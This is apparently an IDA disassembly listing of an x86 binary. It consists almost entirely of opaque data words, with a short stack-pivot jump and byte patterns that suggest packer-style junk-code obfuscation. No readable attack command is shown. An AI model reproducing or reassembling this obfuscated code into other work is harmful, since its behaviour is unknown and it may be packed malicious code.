7661B4F8h, 26264847h, 0B9DC8BF1h, 38675C90h dd 0CE5229F1h, 9AC9C909h, 5E8229Dh, 0A987D441h, 3B213ADBh dd 0E5C8937Dh, 6D672C2Ah, 203BD573h, 3E3E2EDh, 0A5B65C20h dd 35FA9682h, 4E40A5A3h, 52CFA325h, 0AD85B8A8h, 1B40D2FEh dd 0BE4E31F8h, 935342F9h, 6638DE88h, 5F000000h, 694BD24Ah dd 0ED7EC76Bh, 0C76B8466h, 0E1C6097Eh, 0BD6CEF21h, 0D8FF16DAh dd 0E168B9C6h, 7EC852FFh, 910E4184h, 8CA1D46Bh, 0CE8A6559h dd 1B193CEBh, 84A7B45Dh, 0FD16DABDh, 0DE123B5Eh, 83D83D99h dd 100436A5h, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h dd 0Dh, 0ACAF6422h, 8DCE4589h, 11F4A36Ah, 4F0C04ACh, 0FB29E82Ch dd 8D82D93Dh, 7EC76BABh, 6AC6A82Fh, 84B7EC7h, 0E31E023h dd 0F32F9402h, 0D6603E1Dh, 65F61E43h, 0E6CC7B42h, 0BF84D85Fh dd 0ED0ED578h, 7A77BCD9h, 446716h, 9E6C4A11h, 0B8C5E873h dd 78C024E0h, 3E61FA16h, 1D401BFAh, 2DCA311h, 632A4D0Eh dd 86FA3B4h, 759B43CEh, 4DFCC3E6h, 0B966A267h, 52813D3Fh dd 0B371F96Fh, 0FD6F962h, 0B2A9682Ch, 95C64B8Fh, 0E5E5EAAFh dd 4DC1387Ch, 0E8F0AF6Ah, 91CA4793h, 3526EDABh, 9654DC52h dd 5FFEE17Ah, 0E4905226h, 14865h, 0D1488C00h, 219C2309h dd 0E678C070h, 11FFBDA3h, 31E3274Ah, 9140072Ah, 62AFF3AEh dd 0C44D1BF9h, 0C89DEF13h, 6CA50543h, 6E9140EFh, 8E74E72Ah dd 0F51843D0h, 0E8E70F7h, 0D01378C0h, 0C4833E21h, 230110CEh dd 0C00EBA9Ch, 4DFC3F78h, 2D2EE62Ah, 0B194430Ah, 8C65A21h dd 0A76B4E0Dh, 5133BA6Ah, 0D678C00Eh, 40FEE493h, 0A0678AD1h dd 0E79E47BDh, 0A4E4900Eh, 3Bh, 8FD048CBh, 4026D586h, 0C76AB7B9h dd 53397CFEh, 0FADD7E95h, 6B50323Fh, 46D8FEC7h, 0AB71E971h dd 6B3C3EC5h, 0BE017EC7h, 799A58E0h, 15F8BFE2h, 9C99h dd 0B45F1D00h, 485FC4A7h, 0AB2309D1h, 553823EDh, 0BF8ADDC8h dd 795FA278h, 8CCF4301h, 0C04BB597h, 14F73A78h, 25965B59h dd 64CA042Eh, 8D84482Bh, 0EF22F0CEh, 864B496Ch, 0E878CB99h dd 8D1AFD8Ch, 78BF86B8h, 7AEED509h, 0E40754BCh, 9B763A1Dh dd 0F81CDAC0h, 800A8063h, 9D5B4199h, 0F8BFE279h, 611F9715h dd 38C5A8B3h, 72B33F03h, 96DAFD40h, 79BDE07Bh, 599DC09Bh dd 537C9FBCh, 7FB581Fh, 253C2299h, 5B9017FDh, 986CA788h dd 5FB16F55h, 0DF12D9FCh, 3C6AF399h, 0D04629E8h, 9D14861h dd 0ADAE6523h, 8BD0468Ah, 0F47BF9DCh, 78BB23BFh, 19FB82FCh dd 9E78BBB4h, 4589AC5Bh, 0EBA98FCCh, 0FE5DB727h, 7F652C4Fh dd 0BBB416F8h, 75589B78h, 7BE031FFh, 90C94B58h, 642CCE78h dd 0D4EC31Fh, 74B0612Fh, 78DA0BEDh, 9E4D900Eh, 49DB377Bh dd 78D9E0C2h, 7322650Eh, 0E1D64450h, 0A17FDC35h, 32E3A119h dd 4A3F0629h, 0E78DA68h, 0AEC73EDh, 8F0E78DAh, 0F6BA9D4Ch dd 9C5A401Bh, 7DC1E477h, 0D89FC299h, 4714FD29h, 0BF7A5D24h dd 0DC3h, 48CF4700h, 0E78DA66h, 60C5A8EBh, 13041520h, 30E12548h dd 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h dd 0ED23678Ah, 0D074B6Eh, 832A2B4Eh, 1C8904ECh, 81E38924h dd 4C3h, 4EB8300h, 5C241C87h, 11D868h, 24048900h, 620368h dd 243C8900h, 6C9F68h, 240C8900h, 1226A9B9h, 99C18142h dd 8158FE6Ch, 1E2D4FF1h, 0ABC18179h, 8923FCF8h, 8B5459C8h dd 0C481243Ch, 4, 8BB53h, 0FB010000h, 89C28952h, 0FF5B5A13h dd 835F2434h, 48B04C4h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- dw 3740h dd 0A58143CFh, 4ADD949h, 0CDB8CF90h, 3060BBBh, 52E0FFC5h dd 0CA0AACDEh, 0E120325h, 4770F759h, 0B77B9DE4h, 1D7F8719h dd 0AA559EE3h, 7C0B12DAh, 0C450668Bh, 4A340FE9h, 0B20CF94Fh dd 0CF17CE65h, 947179C0h, 0C229EED2h, 636DFCB7h, 966AC45Ch dd 8D35A814h, 7078585h, 8C0F5606h, 1, 66505BF8h, 8976C0BFh dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 80BD1FC3h, 8919AA68h, 71BBD9Dh, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 2C8DC352h, 0FC782ED0h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9D89AFC3h dd 6070431h, 0C5BF6651h, 858D5B05h, 60BBEF5h, 5C083F5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7AC35646h dd 13E951h, 0CACB0000h, 5E4B90Dh, 68633CF0h, 846A1DF7h dd 0ADB3DE91h, 85895F46h, 6072E85h, 0BE9h, 34A4DB00h, 6DD6DF7Ah dd 3BD170F2h, 10E890h, 8C930000h, 24CE0375h, 0A427B90Eh dd 59FAE40h, 59BBF1D9h, 5F3A66D7h, 90D88B50h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BFC35545h, 66718B72h dd 8A0FF262h, 10h, 8E857h, 0A0460000h, 77A80216h, 5B5BB98Ch dd 68D0Fh, 9D8B0000h, 6073209h, 0BF66006Ah, 6A85ADh, 0BFDFBF0Fh dd 16DEF97Bh, 4C195FFh, 0C9BF0607h, 8D3E19BBh, 0AA64F8Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 2A0EF7C3h, 66A1B970h, 0D1FFDF8Bh, 21999D8Bh dd 0BD830607h, 607218Dh, 0B4850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 88F4C352h, 8146B6DAh, 1DB43DD7h, 0FD9D8B6Bh, 6A060713h dd 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0BEFC63F0h, 0AC023205h, 0DE9604Eh, 7000000h dd 215A2A18h, 0D15E9D00h, 57B10B9h, 0A8FE80BFh, 0CE96128h dd 8000000h, 0DB339AE4h, 5D5E71F3h, 9085AF64h, 13E8h, 91914100h dd 9C404241h, 1F73F78Eh, 2503FAA3h, 0ACFDF871h, 7E9h, 34E09C00h dd 0C918BC96h, 6690505Bh, 0FF7A20BBh, 71AF995h, 69858906h dd 0E906072Ah, 0CA1h, 0E8h, 0ED815D00h, 60BBEFFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1FC35141h, 2A493489h dd 12E911h, 53B70000h, 0AA5F7CD3h, 7E824E26h, 9D141AD4h dd 0C571088Ah, 4ADBD8Bh, 858D0607h, 60A9108h, 0A5D9D29h dd 0F900607h, 48Eh, 5B505200h, 0BF66505Bh, 8190070Fh, 93B6F3EBh dd 35FF6431h, 0 dd 0A11BD8Bh, 89640607h, 25h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 149489BFh dd 0AE981927h, 85FFFA8Bh, 60732F1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0F9C35343h, 0D21F5C18h, 68A0Fh dd 0BD8B0000h, 60709BDh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0DF8355C3h, 1EF40E79h dd 9D23CAF3h, 6071395h, 157DB5FFh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BE9BF8C3h dd 78F4402Ah, 0FE8B6634h, 29FFBF0Fh, 71F45BDh, 0C995FF06h dd 0E906071Ah, 108h, 5E8h, 0C5F06400h, 9D8B480Eh, 6072595h dd 0E2CB815Bh, 0B0212C3Ah, 9E800h, 0AAEF0000h, 7CE05416h dd 6047F2DAh, 0B58B5A56h, 607080Dh, 70E65F61h, 0CE96053h dd 77000000h, 0DA5C65B5h, 2CE64552h, 8B315863h, 0E45F61D6h dd 6D8D8971h, 3C060731h, 0AD830F61h, 8B000000h, 716999Dh dd 0C8B60F06h, 6BADE8Bh, 8B000000h, 5EE781C1h, 0C11C3FD8h dd 0BB6604E8h, 0F7663E44h, 3820FE2h, 80000000h, 0C82BAAF3h dd 7102CB81h, 0D18B1C99h, 13A18D89h, 6DE90607h, 3000000h dd 701959Dh, 8858B06h, 8B000000h, 722859Dh, 0C083F906h dd 999D8B07h, 83060725h, 0FC5600C0h, 0FD03B5Fh, 1183h dd 0E19D8900h, 0E9060712h, 38h, 1FB19D8Bh, 8D8B0607h, 0FFFFFFFFh dd 6DCB8166h, 1E183EBh, 1E840Fh, 0A5830000h, 0FFFFFFFFh dd 0DB8166FEh, 95893A2Ch, 8, 0B9B9BF66h, 0E9F98B66h, 0 dd 3AE7B58Dh, 0BF66060Bh, 6A45A5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 52C35646h, 9946EA2Eh, 48BF665Bh dd 0B595FFFCh, 66060716h, 9324D781h, 10A8B9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0EE2C0333h, 42086EAh, 12E9F9E5h, 48000000h, 331D16C5h dd 5BFDE144h, 8433DD64h, 89802478h, 0FCE18387h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B5C35747h, 749EF1B1h dd 7011E0DFh, 0F2EB81A6h, 0FC75C079h, 6AC02Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 48A7B6C3h, 2B8D2E1Fh, 50006AD2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0FEF9EC0Ah, 0C233AD57h dd 0D003E8D1h, 7504E983h, 666057F4h, 317862BAh, 71D0585h dd 895F6106h, 72E09BDh, 880D06h, 8BFC0000h, 7067995h, 0DE906h dd 0ECFD0000h, 26ED6B9Ah, 274238Fh, 8B27E64Eh, 72CE58Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0F67A356Ch, 50DA8BCDh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0CB816658h, 0FB8B7D36h, 6E8h dd 0C90B00h, 8941F8B5h, 71041BDh, 0BD835B06h, 60710E5h dd 2C840F00h, 0B3000000h, 0B834h, 8B600000h, 70951B5h dd 0A3C98006h, 1C8D8D61h, 0B06074Eh, 70005BDh, 0FE1FF06h dd 684h, 3D9D8B00h, 83060725h, 72D05BDh, 840F0006h, 43Bh dd 0DE8h, 5F79BE00h, 0F27AA981h, 94C99727h, 0BD8968D4h dd 6070085h, 5BD835Fh, 106072Dh, 430840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 1D5FA5C3h, 967BEB82h, 61858989h, 83060714h, 72D05BDh dd 860F0306h, 3C4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 8CC35040h, 0C60CC030h, 425BD8Bh, 6A600607h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 28C355h, 3BBCA79Ah, 1D958D89h, 8B660607h dd 0D98C66D9h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0A93C352h, 59840FC9h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E6AFC351h, 8BDF8BF9h, 7062985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8BC40807h, 758533DAh, 6A06071Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 7CE4C353h, 0BA0BFCFEh, 0FEBF0F43h, 0AE95190h, 4E000000h dd 0CCC2327h, 0C4FC91B2h, 8B505FCAh, 6A90DAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B700BBC3h dd 6AFCFEDCh, 68FA8B00h, 785B7192h, 44BE6660h, 348161A5h dd 44726D24h, 52006A78h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 89315FA9h, 70505BDh, 195FF06h, 6A06071Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0A94DC351h, 0BD8BDBDEh, 6072055h, 0A6AD8589h dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0A0E9A8C3h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0AB10C355h dd 0F9AE72C8h, 0D21F5C18h, 0A6A5858Bh, 6A060Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0A3EC54C3h, 6BBCF7B1h, 0C77BB3h, 18h, 8BDE8B66h, 713319Dh dd 0A9B58B06h, 6A060AA6h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 6159C356h, 1F29BD8Bh dd 858B0607h, 6070C21h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 20C35040h, 0DE841h, 1F0D0000h, 0CB883B5Dh dd 1D41B2DCh, 0F6A9B44h, 895FF8B7h, 42BB6606h, 29858BF8h dd 6A060706h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 1835C356h, 520825E8h, 1719501h dd 895B0607h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 39B8AEC3h, 96114CE8h, 96501FB7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EC35646h dd 0B5899903h, 6070115h, 0A6A5B5FFh, 0CB81060Ah, 25FE329h dd 85CB7F68h, 3A2EBB6Ah, 3481230Bh, 9AC88024h, 8DDF8B6Ah dd 0AA6AD85h, 0AD9D8B06h, 5006071Ch, 0D09EBF66h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 9D84C350h, 8996B73Ah, 71B999Dh, 195FF06h dd 6106071Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 41C35141h, 17C78166h, 585C709h, 306072Dh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0E069C352h, 589EAD3Bh, 0E1DB8122h, 835E9ADEh dd 0AA6ADBDh, 840F0006h, 14h, 21258D89h, 9D8B0607h, 6072E1Dh dd 1EE9h, 24DF8000h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F32C356h, 0BD8BFEB7h dd 6070029h, 2D05BD83h, 0F030607h, 3AE85h, 0D604BF00h dd 0BD835248h, 60AA6ADh, 9C840F00h, 81000003h, 0D6618ACFh dd 0ADB5FF46h, 0FF060AA6h, 7043D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C6404C89h dd 5D78166h, 0A1B58B7Dh, 6A060AA6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0BDBAC353h dd 14102CCDh, 106C7h, 0BF0F0001h, 348950FFh, 0FA8B6624h dd 0A6ADB5FFh, 6660060Ah, 4072D781h, 0C258523h, 0FF610607h dd 71A5595h, 0DE8B6606h, 1689BD31h, 0B58B0607h, 60AA6A1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F8C35141h dd 1FDDD896h, 1389858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0E98B0AC3h, 6601A7B5h dd 894A14BFh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 44EEBEF7h, 181ECB32h dd 0BF66678Bh, 958BD365h, 6070679h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0D0C35040h, 29B928D6h, 9D893471h dd 6071ACDh, 6A04C283h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 27C7C351h, 6E8D2h dd 94A30000h, 2BBFB936h, 0B7CB8166h, 50895B6Ah, 51006A20h dd 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E4237F30h, 823285D7h dd 858D1D7Ah, 60ABA1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F2C35646h, 0F0D2D984h, 6EB4E723h, 5D8D89ECh dd 8906072Eh, 0B886h, 6800F00h, 0B000000h, 70D95BDh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 27D8C350h, 4E04335Dh, 0E982E4B0h, 5, 22FCC79Fh dd 5D8D89B9h, 0FF060704h, 0AA6ADB5h, 0DD9D8B06h, 0FF060710h dd 71AF995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 426D66F2h, 0E9968834h, 11h, 0CE01CC06h dd 5A77361Ah, 2D1A5F6Ch, 0F371EE55h, 525050A7h, 8B616060h dd 310F61FAh, 5AFB8B66h, 12E89658h, 19000000h, 0E73B22F6h dd 6272341Ch, 0D6206886h, 2B7811B8h, 0FFB70F62h, 0ADB5FF5Bh dd 66060AA6h, 9509F98Bh, 6070111h, 152995FFh, 870F0607h dd 0 dd 12A5BD83h, 0F000607h, 1884h, 0FD9D8B00h, 66060727h dd 643CC781h, 50FBB396h, 8996D98Ah, 70A31BDh, 0ADB5FF06h dd 8B060AA6h, 5595FFF9h, 0FF060705h, 0AA6ADB5h, 8D9D0306h dd 0FF06070Eh, 71FF995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 37227A7h, 52DFB70Fh, 6FD9D89h dd 835F0607h, 71F1DBDh, 840F0206h, 6Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0B0C35242h, 2BB60933h dd 0DD858BB0h, 1060706h, 715A195h, 0C606h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A0C35343h, 14E8D634h dd 27000000h, 2FD4693Ah, 0EFB0DFC4h, 3FFC7236h, 2FF19066h dd 8BD8611Bh, 70981BDh, 85C75B06h, 6072691h, 0 dd 8CF8166h, 0E9DF8B44h, 0FFFFF46Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 7DC35242h, 6D9072C2h, 0CB8100FCh dd 6A586E71h, 32ED8D89h, 0C18B0607h, 53C43EBFh, 85858D41h dd 89060707h, 70DA995h, 52505006h, 0EE8h, 14D3AB00h, 23C6A714h dd 614E175Dh, 66BBA115h, 5F156FBBh, 9BF310Fh, 5A1FD42Fh dd 24048958h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0B7C35040h, 0FA34241Ch, 0D781658Eh, 1842A264h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 9F7377C3h, 9D5CB6F0h, 0F8BF0FC2h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 601E0EC3h, 0CF81C38Ah, 18596C7Bh, 0D8858D61h, 6A060BCDh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0FE5AC351h, 443D2D32h, 8C4AE6BBh, 0C0834CB3h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 50480FDCh, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9EA1C356h dd 0F98B66A4h, 34D38166h, 6A006AC6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E34C355h dd 0B1885141h, 8B9B8F2Eh, 731899Dh, 0F006A06h, 686h, 519D3300h dd 0FF06071Ah, 704C195h, 6880F06h, 3000000h, 73261BDh dd 4F8D8D06h, 6A060AA6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0AA9DC355h, 0DEEB37FCh dd 0CE9E5h, 0D5EA0000h, 0AABE1BD6h, 3708501Fh, 0D1FFF107h dd 18B0Fh, 83FC0000h, 7218DBDh, 850F0106h, 7Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C7C35343h, 0A11173B1h dd 0BD29026Ah, 60716ADh, 50DE8B90h, 0F880Fh, 52500000h dd 0FFE8B66h, 0F525031h, 5A585A31h, 10E99058h, 0CD000000h dd 0DF2D146Ah, 45BF53E3h, 2B0A5781h, 0FFFE6754h, 71AF995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 66207F37h, 0BDE9FB8Bh, 0E800000Ch, 0 dd 0E2ED815Dh, 89060BCDh, 732B98Dh, 0FA8B6606h, 2A919D89h dd 858D0607h, 60A9108h, 1719D8Bh, 0E9500607h, 14h, 6EB0F8CEh dd 0E94B1230h, 55CBE75h, 2BD86438h, 8C52AB02h, 1240489h dd 713F1BDh, 35FF6406h, 0 dd 0AE9h, 53A66B00h, 9A70F510h, 64988E77h, 2589h, 81660000h dd 0FFBF35DBh, 732F185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 6ADF1E28h, 0B867BE4Eh dd 8166FF6Ah, 81C51EC3h, 25299BDFh, 0A1B5FF76h, 6A060705h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 49DEC356h, 81668C2Ch, 0F4E17E3h, 582h, 0EEB0BF00h dd 95FF09C1h, 6071AC9h, 147E9h, 0AD8D8900h, 0B0060700h dd 0EDBD2B00h, 0E6060727h, 44CB8070h, 0BE971E4h, 0EB000000h dd 86416DBFh, 3399EE8Dh, 613CCE80h, 11A830Fh, 0B5890000h dd 6070625h, 0FC8B60Fh, 683h, 0ED952900h, 0BA06072Bh, 6 dd 33C18BF5h, 72ACDBDh, 4E8C106h, 20219D89h, 0F7660607h dd 830F60E2h, 6, 1FD59531h, 0BD8B0607h, 6071EC9h, 66C82B61h dd 0D18BFE8Bh, 0FE9h, 0F3CBC00h, 2356DAA8h aX7eQs db '-&7eq',0 ; DATA XREF: ___:off_43BFBCo align 4 dd 10E900h, 348E0000h, 6584FE54h, 0C5E47935h, 1DCF310Ah dd 858B8A32h, 1, 0D52FBB66h, 8B07C083h, 71719BDh, 12E806h dd 0E31A0000h, 0AD8F501Ch, 203243EAh, 61E8F430h, 0D7CF0B2Fh dd 0C0835Fh, 3BFB8B66h, 16830FD0h, 0E9000000h, 6, 4A619D35h dd 59E9052Dh, 8B000000h, 71341BDh, 0FF8D8B06h, 0BFFFFFFFh dd 19F50A0Eh, 7E9h, 972BEB00h, 51C2C2ADh, 0F01E183h, 3384h dd 818D8900h, 8306071Fh, 0FFFFFFA5h, 9D8BFEFFh, 6072C85h dd 25DDBD8Bh, 95890607h, 1, 0AE9h, 0DEF8FC00h, 0E7183AD4h dd 0E97510D3h, 0 dd 4B8FB58Dh, 0B529060Bh, 6071F51h, 0B70F006Ah, 0B595FFDFh dd 6A060716h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 8E2C356h, 667C2C59h, 0FFCCDC7h dd 83h, 0E94B900h, 9D230000h, 6071D29h, 6AFCE183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0E46DC352h, 1F72E69h, 727C1BDh, 29506006h, 70425BDh dd 0BD8B5A06h, 6071E69h, 0B8FC61h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 4595C357h, 34CDB5EFh, 0D88B66EDh, 0BAh, 1DB53100h, 0AD060732h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0D40DC350h dd 0CF374063h, 6880Fh, 8D090000h, 60701EDh, 880Dh, 0B18D8900h dd 81060702h, 3C00DADFh, 79958B31h, 0F060706h, 584h, 0AA6EBB00h dd 8D8B61DAh, 6072CE5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0E0C35747h, 0B58905FCh, 6072191h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 800F5818h, 6, 2FF19D8Bh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 66514FC3h, 20E6DB81h, 2FF3815Bh, 832F2EB6h dd 710E5BDh, 840F0006h, 7Bh, 2B81B501h, 0B80607h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1212C350h, 6800Fh, 0BD8B0000h, 60704F9h dd 4E1C8D8Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 458C03C3h, 0E9A4CA70h, 0Dh, 5960002Eh dd 0F2B25FD4h, 588218EFh, 61952976h, 0FF06071Dh, 0EDB589E1h dd 8306072Ch, 72D05BDh, 840F0006h, 43Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 7C35040h, 7FDF596Dh dd 4A5DFCD8h, 0B1BD89D1h, 0F060721h, 389h, 0F98B6600h dd 83F9BF0Fh, 72D05BDh, 840F0106h, 413h, 5BD83F8h, 306072Dh dd 3CF860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3D0D86C3h, 691579E4h, 0FA00BB9Dh dd 3604E80h, 71CC99Dh, 0D98C6606h, 830Fh, 0E1800000h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 3CEC9F3Fh, 0FD9E38DFh, 0CE8h, 6FB5A100h, 0C8C389F4h dd 0BD14FAFAh, 0A5BF8B7h, 65840FC9h, 0E9000001h, 14h, 7C87AE38h dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch, 990BE60h dd 8D29183Ah, 607051Dh, 29858B61h, 6A060706h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 2D1EC351h, 0AD15C591h, 0F49B4C8h, 68Ch, 8DB58900h, 0E9060708h dd 9, 577068B6h, 0ACDDFF73h, 75853313h, 6606071Eh, 0FABBDBBh dd 686h, 0E1958900h, 90060710h, 90DA8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E6C35141h, 840F37AFh dd 6, 38DBD8Bh, 6A0607h, 8C6AA368h, 7E9B0h, 2EDE0000h dd 2DFBB2DEh, 2404816Ch, 4F92995Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0D6C35141h, 0C789C4Ah, 295363BFh dd 8D3FBB4Eh, 95FF74A2h, 6071D01h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 23C35040h, 0E7EF8767h, 1AD67280h dd 1BD1BD8Bh, 85890607h, 60AA6ADh, 98F6BF66h, 19CE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8D0BE5C3h, 6C85B121h, 5032BBF0h, 0BB6675FDh, 9D8992BAh dd 607108Dh, 0A6A5858Bh, 0BB66060Ah, 0C7892Bh, 18h, 27ED9D8Bh dd 0B58B0607h, 60AA6A9h, 0C45BD8Bh, 95010607h, 6071681h dd 0C21858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 3F0621C3h, 178F5A80h, 689F050h dd 12E9h, 4AE1700h, 0A9D94D5Bh, 0DE819AE2h, 2899B523h dd 0F5AED462h, 629858Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0E935D5C3h, 95A2C8Fh dd 70865BDh, 4468906h, 1AB59D8Bh, 0E8960607h, 6, 13E4DF58h dd 11E91631h, 7D000000h, 505914E6h, 929F8522h, 8289D57Fh dd 59EBF81Fh, 0F51505Fh, 28Ch, 